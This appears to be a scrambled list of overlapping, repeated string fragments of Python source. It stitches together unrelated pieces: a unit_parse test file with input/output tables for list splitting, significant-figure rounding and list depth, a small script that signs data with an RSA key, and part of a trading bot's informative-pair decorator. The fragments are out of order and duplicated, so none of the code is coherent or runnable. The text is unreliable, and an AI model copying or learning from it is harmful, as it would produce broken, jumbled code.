"None], [[\"asds\"], [\"asds\"]], [1, 1], [[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\", []],",
"control (works) [[], None], [[\"\"], None], [[\"asds\"], [\"asds\"]], [1, 1],",
"[\"aaa\"], [\"aaa\"]]], 3], # negative control (fails) ] testing_func(get_list_depth, test_list_depth)",
"{\"sig_digit\": 1}], [-234.2342399999999999, -200, {\"sig_digit\": 1}], [-234.2342399999999999, -234.23424, {\"sig_digit\": 15}],",
"[[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}], ] testing_func(split_list, test_split_list) test_round_off = [",
"test_remove_empty_cells) examples_quantity_difference = [ [Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}],",
"logger, Unit, Q from unit_parse.utils import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list",
"# [Input, Output] # positive control (works) [[], None], [[\"\"],",
"\"shpig\", \"c\", \"ow\"], {\"chunks\": [\"i\", \"c\"]}], # negative control (no",
"{\"sig_digit\": 15}], [234.2342300000001, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 234.23, {\"sig_digit\": 5}],",
"testing_func import testing_func, test_logger from unit_parse import logger, Unit, Q",
"None], [[\"\"], None], [[\"asds\"], [\"asds\"]], [1, 1], [[\"aaa\", \"\"], [\"aaa\"]],",
"0], [\"asds\", 0], [1, 0], [[\"aaa\"], 1], [[[\"aaa\"]], 2], [[[\"aaa\",",
"\"\"], [\"aaa\"]], [[\"aaa\", []], [\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]],",
"testing_func(get_list_depth, test_list_depth) test_remove_empty_cells = [ # [Input, Output] # positive",
"unit_parse import logger, Unit, Q from unit_parse.utils import * test_logger.setLevel(logging.DEBUG)",
"234.23, {\"sig_digit\": 5}], [234.2342399999999999, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 200, {\"sig_digit\":",
"200, {\"sig_digit\": 1}], [-234.2342399999999999, -200, {\"sig_digit\": 1}], [-234.2342399999999999, -234.23424, {\"sig_digit\":",
"(works) [[], None], [[\"\"], None], [[\"asds\"], [\"asds\"]], [1, 1], [[\"aaa\",",
"{\"sig_digit\": 15}], # negative control (fails) ] testing_func(sig_figs, test_round_off) test_list_depth",
"15}], [234.2342399999999999, 234.23424, {\"sig_digit\": 15}], [234.2342300000001, 234.23, {\"sig_digit\": 5}], [234.2342399999999999,",
"[-234.2342399999999999, -200, {\"sig_digit\": 1}], [-234.2342399999999999, -234.23424, {\"sig_digit\": 15}], # negative",
"test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list = [ # positive control (changes) [[\"fish\",\"pig\",",
"[Input, Output] # positive control (works) [\"\", 0], [[], 0],",
"{\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"], [\"f\", \"is\", \"h\", Unit(\"g\"), \"cow\"],",
"[[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\", \"h\", \"pig\", \"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\",",
"\"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2],",
"[[[\"aaa\", [\"\"]]], [[\"aaa\"]]], # negative control (fails) ] testing_func(remove_empty_cells, test_remove_empty_cells)",
"{\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}], ] testing_func(split_list, test_split_list) test_round_off",
"logging from testing_func import testing_func, test_logger from unit_parse import logger,",
"[\"f\", \"is\", \"h\", Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\",",
"[1, 0], [[\"aaa\"], 1], [[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"],",
"testing_func(sig_figs, test_round_off) test_list_depth = [ # [Input, Output] # positive",
"from unit_parse import logger, Unit, Q from unit_parse.utils import *",
"Unit, Q from unit_parse.utils import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list =",
"15}], # negative control (fails) ] testing_func(sig_figs, test_round_off) test_list_depth =",
"] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells = [ # [Input, Output] #",
"(fails) ] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference = [ [Q(\"5 g\"), Q(\"0.5\"),",
"= [ # [Input, Output] # positive control (works) [234.2342300000001,",
"{\"sig_digit\": 1}], [-234.2342399999999999, -234.23424, {\"sig_digit\": 15}], # negative control (fails)",
"# positive control (changes) [[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\", \"h\", \"pig\",",
"= [ # [Input, Output] # positive control (works) [\"\",",
"] testing_func(sig_figs, test_round_off) test_list_depth = [ # [Input, Output] #",
"\"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpig\", \"c\", \"ow\"], {\"chunks\":",
"[[], 0], [\"asds\", 0], [1, 0], [[\"aaa\"], 1], [[[\"aaa\"]], 2],",
"[\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\":",
"test_remove_empty_cells = [ # [Input, Output] # positive control (works)",
"Output] # positive control (works) [234.2342300000001, 234.23423, {\"sig_digit\": 15}], [234.2342399999999999,",
"(fails) ] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells = [ # [Input, Output]",
"0], [[], 0], [\"asds\", 0], [1, 0], [[\"aaa\"], 1], [[[\"aaa\"]],",
"0], [1, 0], [[\"aaa\"], 1], [[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"],",
"[\"aaa\"]]], 3], # negative control (fails) ] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells",
"[[\"asds\"], [\"asds\"]], [1, 1], [[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\", []], [\"aaa\"]],",
"[[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"],",
"[\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"],",
"\"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"],",
"\"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3], # negative",
"[\"aaa\"]], [[\"aaa\", []], [\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]],",
"[\"\"]]], [[\"aaa\"]]], # negative control (fails) ] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference",
"(fails) ] testing_func(sig_figs, test_round_off) test_list_depth = [ # [Input, Output]",
"\"cow\"], [\"f\", \"is\", \"h\", Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\",",
"positive control (works) [[], None], [[\"\"], None], [[\"asds\"], [\"asds\"]], [1,",
"[\"\", 0], [[], 0], [\"asds\", 0], [1, 0], [[\"aaa\"], 1],",
"{\"sig_digit\": 5}], [234.2342399999999999, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 200, {\"sig_digit\": 1}],",
"Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}], [5, 1, {\"quantity2\": Q(\"10 g\")}], ]",
"control (fails) ] testing_func(sig_figs, test_round_off) test_list_depth = [ # [Input,",
"[[\"fish\", Unit(\"g\"), \"cow\"], [\"f\", \"is\", \"h\", Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}],",
"positive control (works) [\"\", 0], [[], 0], [\"asds\", 0], [1,",
"[[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3],",
"[\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"], [\"f\", \"is\", \"h\", Unit(\"g\"), \"cow\"], {\"chunks\":",
"{\"chunks\": [\"is\"]}], ] testing_func(split_list, test_split_list) test_round_off = [ # [Input,",
"[\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3], # negative control",
"[]]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]], # negative control (fails) ]",
"= [ [Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}], [5, 1,",
"examples_quantity_difference = [ [Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}], [5,",
"control (works) [\"\", 0], [[], 0], [\"asds\", 0], [1, 0],",
"2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]],",
"control (fails) ] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference = [ [Q(\"5 g\"),",
"control (fails) ] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells = [ # [Input,",
"[ # positive control (changes) [[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\", \"h\",",
"[234.2342399999999999, 200, {\"sig_digit\": 1}], [-234.2342399999999999, -200, {\"sig_digit\": 1}], [-234.2342399999999999, -234.23424,",
"[[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]], # negative control (fails)",
"[1, 1], [[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\", []], [\"aaa\"]], [[[\"aaa\", []]],",
"control (changes) [[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\", \"h\", \"pig\", \"cow\"], {\"chunks\":",
"\"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpig\", \"c\", \"ow\"],",
"[ # [Input, Output] # positive control (works) [234.2342300000001, 234.23423,",
"[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"],",
"(no changes) [[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}],",
"[[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}], ] testing_func(split_list,",
"[\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}], ] testing_func(split_list, test_split_list) test_round_off =",
"\"pig\", \"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"], [\"f\", \"is\", \"h\",",
"(changes) [[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\", \"h\", \"pig\", \"cow\"], {\"chunks\": [\"is\"]}],",
"1], [[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\",",
"[[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3], # negative control (fails) ] testing_func(get_list_depth,",
"\"h\", Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"], {\"chunks\":",
"[\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]], # negative control",
"= [ # positive control (changes) [[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\",",
"(works) [234.2342300000001, 234.23423, {\"sig_digit\": 15}], [234.2342399999999999, 234.23424, {\"sig_digit\": 15}], [234.2342300000001,",
"test_list_depth = [ # [Input, Output] # positive control (works)",
"= [ # [Input, Output] # positive control (works) [[],",
"[Input, Output] # positive control (works) [[], None], [[\"\"], None],",
"[234.2342300000001, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 200,",
"# negative control (fails) ] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells = [",
"testing_func, test_logger from unit_parse import logger, Unit, Q from unit_parse.utils",
"\"i\", \"shpig\", \"c\", \"ow\"], {\"chunks\": [\"i\", \"c\"]}], # negative control",
"[-234.2342399999999999, -234.23424, {\"sig_digit\": 15}], # negative control (fails) ] testing_func(sig_figs,",
"test_split_list) test_round_off = [ # [Input, Output] # positive control",
"[\"f\", \"i\", \"shpig\", \"c\", \"ow\"], {\"chunks\": [\"i\", \"c\"]}], # negative",
"import testing_func, test_logger from unit_parse import logger, Unit, Q from",
"Output] # positive control (works) [\"\", 0], [[], 0], [\"asds\",",
"testing_func(split_list, test_split_list) test_round_off = [ # [Input, Output] # positive",
"Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}],",
"negative control (fails) ] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference = [ [Q(\"5",
"0], [[\"aaa\"], 1], [[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]],",
"Output] # positive control (works) [[], None], [[\"\"], None], [[\"asds\"],",
"Unit(\"g\"), \"cow\"], [\"f\", \"is\", \"h\", Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"],",
"\"h\", \"pig\", \"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"], [\"f\", \"is\",",
"[[\"aaa\"]]], # negative control (fails) ] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference =",
"# [Input, Output] # positive control (works) [\"\", 0], [[],",
"Q from unit_parse.utils import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list = [",
"[Unit(\"g\")], {\"chunks\": [\"is\"]}], ] testing_func(split_list, test_split_list) test_round_off = [ #",
"\"ow\"], {\"chunks\": [\"i\", \"c\"]}], # negative control (no changes) [[\"fish\"],",
"# negative control (fails) ] testing_func(sig_figs, test_round_off) test_list_depth = [",
"(works) [\"\", 0], [[], 0], [\"asds\", 0], [1, 0], [[\"aaa\"],",
"[[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpig\",",
"[[\"\"], None], [[\"asds\"], [\"asds\"]], [1, 1], [[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\",",
"[234.2342399999999999, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 200, {\"sig_digit\": 1}], [-234.2342399999999999, -200,",
"[ # [Input, Output] # positive control (works) [\"\", 0],",
"testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference = [ [Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10",
"[\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}], ] testing_func(split_list, test_split_list)",
"] testing_func(split_list, test_split_list) test_round_off = [ # [Input, Output] #",
"[Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}], [5, 1, {\"quantity2\": Q(\"10",
"test_logger from unit_parse import logger, Unit, Q from unit_parse.utils import",
"# negative control (no changes) [[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"],",
"control (works) [234.2342300000001, 234.23423, {\"sig_digit\": 15}], [234.2342399999999999, 234.23424, {\"sig_digit\": 15}],",
"\"cow\"], [\"f\", \"is\", \"h\", \"pig\", \"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"),",
"\"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"], [\"f\", \"is\", \"h\", Unit(\"g\"),",
"\"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]],",
"3], # negative control (fails) ] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells =",
"[\"f\", \"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpig\", \"c\",",
"\"c\", \"ow\"], {\"chunks\": [\"i\", \"c\"]}], # negative control (no changes)",
"[\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\",",
"[ # [Input, Output] # positive control (works) [[], None],",
"positive control (works) [234.2342300000001, 234.23423, {\"sig_digit\": 15}], [234.2342399999999999, 234.23424, {\"sig_digit\":",
"234.23, {\"sig_digit\": 5}], [234.2342399999999999, 200, {\"sig_digit\": 1}], [-234.2342399999999999, -200, {\"sig_digit\":",
"{\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpig\", \"c\", \"ow\"], {\"chunks\": [\"i\",",
"control (no changes) [[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\":",
"1}], [-234.2342399999999999, -200, {\"sig_digit\": 1}], [-234.2342399999999999, -234.23424, {\"sig_digit\": 15}], #",
"15}], [234.2342300000001, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 234.23, {\"sig_digit\": 5}], [234.2342399999999999,",
"{\"chunks\": [\"i\", \"c\"]}], # negative control (no changes) [[\"fish\"], [\"fish\"],",
"[\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}], ]",
"[[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\", []], [\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\",",
"[234.2342300000001, 234.23423, {\"sig_digit\": 15}], [234.2342399999999999, 234.23424, {\"sig_digit\": 15}], [234.2342300000001, 234.23,",
"# [Input, Output] # positive control (works) [234.2342300000001, 234.23423, {\"sig_digit\":",
"[\"asds\", 0], [1, 0], [[\"aaa\"], 1], [[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\",",
"[Input, Output] # positive control (works) [234.2342300000001, 234.23423, {\"sig_digit\": 15}],",
"2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3], # negative control (fails) ]",
"# negative control (fails) ] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference = [",
"\"is\", \"h\", Unit(\"g\"), \"cow\"], {\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"],",
"test_round_off = [ # [Input, Output] # positive control (works)",
"* test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list = [ # positive control (changes)",
"5}], [234.2342399999999999, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 200, {\"sig_digit\": 1}], [-234.2342399999999999,",
"[[\"aaa\"], 1], [[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2],",
"[[\"fishpigcow\"], [\"f\", \"i\", \"shpig\", \"c\", \"ow\"], {\"chunks\": [\"i\", \"c\"]}], #",
"# positive control (works) [\"\", 0], [[], 0], [\"asds\", 0],",
"[234.2342399999999999, 234.23424, {\"sig_digit\": 15}], [234.2342300000001, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 234.23,",
"5}], [234.2342399999999999, 200, {\"sig_digit\": 1}], [-234.2342399999999999, -200, {\"sig_digit\": 1}], [-234.2342399999999999,",
"negative control (fails) ] testing_func(get_list_depth, test_list_depth) test_remove_empty_cells = [ #",
"# positive control (works) [234.2342300000001, 234.23423, {\"sig_digit\": 15}], [234.2342399999999999, 234.23424,",
"[ [Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}], [5, 1, {\"quantity2\":",
"[\"f\", \"is\", \"h\", \"pig\", \"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"],",
"import logging from testing_func import testing_func, test_logger from unit_parse import",
"Q(\"10 g\")}], [5, 1, {\"quantity2\": Q(\"10 g\")}], ] testing_func(quantity_difference, examples_quantity_difference)",
"[\"i\", \"c\"]}], # negative control (no changes) [[\"fish\"], [\"fish\"], {\"chunks\":",
"2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"],",
"from unit_parse.utils import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list = [ #",
"negative control (no changes) [[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"],",
"234.23424, {\"sig_digit\": 15}], [234.2342300000001, 234.23, {\"sig_digit\": 5}], [234.2342399999999999, 234.23, {\"sig_digit\":",
"logger.setLevel(logging.DEBUG) test_split_list = [ # positive control (changes) [[\"fish\",\"pig\", \"cow\"],",
"import logger, Unit, Q from unit_parse.utils import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG)",
"positive control (changes) [[\"fish\",\"pig\", \"cow\"], [\"f\", \"is\", \"h\", \"pig\", \"cow\"],",
"{\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")], {\"chunks\": [\"is\"]}],",
"test_list_depth) test_remove_empty_cells = [ # [Input, Output] # positive control",
"from testing_func import testing_func, test_logger from unit_parse import logger, Unit,",
"negative control (fails) ] testing_func(sig_figs, test_round_off) test_list_depth = [ #",
"\"c\"]}], # negative control (no changes) [[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}],",
"\"is\", \"h\", \"pig\", \"cow\"], {\"chunks\": [\"is\"]}], [[\"fish\", Unit(\"g\"), \"cow\"], [\"f\",",
"1}], [-234.2342399999999999, -234.23424, {\"sig_digit\": 15}], # negative control (fails) ]",
"test_round_off) test_list_depth = [ # [Input, Output] # positive control"
] |
[
"from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 from Crypto.PublicKey",
"import pkcs1_15 from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA",
"sys from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 from",
"import RSA def sign_data(key, data, output_file): with open(key, 'r', encoding='utf-8')",
"digest = SHA256.new(data.encode('utf-8')) with open(output_file, 'wb') as out: out.write(signer.sign(digest)) if",
"out: out.write(signer.sign(digest)) if __name__ == '__main__': key_file = sys.argv[1] input_string",
"pkcs1_15 from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA def",
"'r', encoding='utf-8') as keyFile: rsakey = RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey)",
"def sign_data(key, data, output_file): with open(key, 'r', encoding='utf-8') as keyFile:",
"open(key, 'r', encoding='utf-8') as keyFile: rsakey = RSA.importKey(keyFile.read()) signer =",
"rsakey = RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8')) with",
"== '__main__': key_file = sys.argv[1] input_string = sys.argv[2] out_file =",
"import sys from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256",
"= pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8')) with open(output_file, 'wb') as out:",
"signer = pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8')) with open(output_file, 'wb') as",
"open(output_file, 'wb') as out: out.write(signer.sign(digest)) if __name__ == '__main__': key_file",
"key_file = sys.argv[1] input_string = sys.argv[2] out_file = sys.argv[3] sign_data(key_file,",
"encoding='utf-8') as keyFile: rsakey = RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey) digest",
"with open(output_file, 'wb') as out: out.write(signer.sign(digest)) if __name__ == '__main__':",
"__name__ == '__main__': key_file = sys.argv[1] input_string = sys.argv[2] out_file",
"= sys.argv[1] input_string = sys.argv[2] out_file = sys.argv[3] sign_data(key_file, input_string,",
"'wb') as out: out.write(signer.sign(digest)) if __name__ == '__main__': key_file =",
"sys.argv[1] input_string = sys.argv[2] out_file = sys.argv[3] sign_data(key_file, input_string, out_file)",
"data, output_file): with open(key, 'r', encoding='utf-8') as keyFile: rsakey =",
"with open(key, 'r', encoding='utf-8') as keyFile: rsakey = RSA.importKey(keyFile.read()) signer",
"= SHA256.new(data.encode('utf-8')) with open(output_file, 'wb') as out: out.write(signer.sign(digest)) if __name__",
"SHA256.new(data.encode('utf-8')) with open(output_file, 'wb') as out: out.write(signer.sign(digest)) if __name__ ==",
"keyFile: rsakey = RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8'))",
"from Crypto.PublicKey import RSA def sign_data(key, data, output_file): with open(key,",
"import SHA256 from Crypto.PublicKey import RSA def sign_data(key, data, output_file):",
"Crypto.Hash import SHA256 from Crypto.PublicKey import RSA def sign_data(key, data,",
"from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA def sign_data(key,",
"output_file): with open(key, 'r', encoding='utf-8') as keyFile: rsakey = RSA.importKey(keyFile.read())",
"RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8')) with open(output_file, 'wb')",
"Crypto.PublicKey import RSA def sign_data(key, data, output_file): with open(key, 'r',",
"RSA def sign_data(key, data, output_file): with open(key, 'r', encoding='utf-8') as",
"as keyFile: rsakey = RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey) digest =",
"out.write(signer.sign(digest)) if __name__ == '__main__': key_file = sys.argv[1] input_string =",
"sign_data(key, data, output_file): with open(key, 'r', encoding='utf-8') as keyFile: rsakey",
"if __name__ == '__main__': key_file = sys.argv[1] input_string = sys.argv[2]",
"pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8')) with open(output_file, 'wb') as out: out.write(signer.sign(digest))",
"'__main__': key_file = sys.argv[1] input_string = sys.argv[2] out_file = sys.argv[3]",
"<reponame>d53dave/python-crypto-licensecheck import sys from Crypto.Signature import pkcs1_15 from Crypto.Hash import",
"as out: out.write(signer.sign(digest)) if __name__ == '__main__': key_file = sys.argv[1]",
"Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 from Crypto.PublicKey import",
"= RSA.importKey(keyFile.read()) signer = pkcs1_15.new(rsakey) digest = SHA256.new(data.encode('utf-8')) with open(output_file,",
"SHA256 from Crypto.PublicKey import RSA def sign_data(key, data, output_file): with"
] |
[
"may need reevaluation. # base, quote = asset, '' raise",
"is specified. * {column}_{timeframe} if asset is not specified. Format",
"dataframe for current pair. asset = metadata['pair'] if '/' in",
"quote = asset.split('/') else: # When futures are supported this",
"_fmt, _ffill)) setattr(fn, '_ft_informative', informative_pairs) return fn return decorator def",
"not fmt: fmt = '{column}_{timeframe}' # Informatives of current pair",
"# Not specifying an asset will define informative dataframe for",
"to use current pair. :param fmt: Column format (str) or",
"'eth'. * {BASE} - same as {base}, except in upper",
"class InformativeData(NamedTuple): asset: Optional[str] timeframe: str fmt: Union[str, Callable[[Any], str],",
"= getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill)) setattr(fn, '_ft_informative',",
"fmt # Informatives of other pairs inf_metadata = {'pair': asset,",
"def decorator(fn: PopulateIndicators): informative_pairs = getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe,",
"asset) else: # Not specifying an asset will define informative",
"format variables: * {asset} - full name of the asset,",
"asset _timeframe = timeframe _fmt = fmt _ffill = ffill",
"asset, for example BTC, BTC/USDT, ETH/BTC. Do not specify to",
"case # where it is desired to keep quote currency",
"timeframe. Must always be equal or higher than strategy timeframe.",
"'{base}_{quote}_' + fmt # Informatives of other pairs inf_metadata =",
"asset is specified. * {column}_{timeframe} if asset is not specified.",
"PopulateIndicators]: \"\"\" A decorator for populate_indicators_Nn(self, dataframe, metadata), allowing these",
"informative dataframe. :param ffill: ffill dataframe after merging informative pair.",
"raise OperationalException(f'Duplicate column name {date_column} exists in ' f'dataframe! Ensure",
"dict], DataFrame] class InformativeData(NamedTuple): asset: Optional[str] timeframe: str fmt: Union[str,",
"pair: str) -> str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe:",
"column name at all times user should specify # fmt='{base}_{quote}_{column}_{timeframe}'",
"{BASE} - same as {base}, except in upper case. *",
"'BASE': base.upper(), 'QUOTE': quote.upper(), 'base': base.lower(), 'quote': quote.lower(), 'asset': asset,",
"pair if inf_data.asset: fmt = '{base}_{quote}_' + fmt # Informatives",
"# A custom user-specified formatter function. else: formatter = fmt.format",
"Any, Callable, NamedTuple, Optional, Union from pandas import DataFrame from",
"formatter. fmt_args = { 'BASE': base.upper(), 'QUOTE': quote.upper(), 'base': base.lower(),",
"quote.upper(), 'base': base.lower(), 'quote': quote.lower(), 'asset': asset, 'timeframe': timeframe, }",
"# Informatives of current pair if inf_data.asset: fmt = '{base}_{quote}_'",
":param asset: Informative asset, for example BTC, BTC/USDT, ETH/BTC. Do",
"_format_pair_name(config, asset) else: # Not specifying an asset will define",
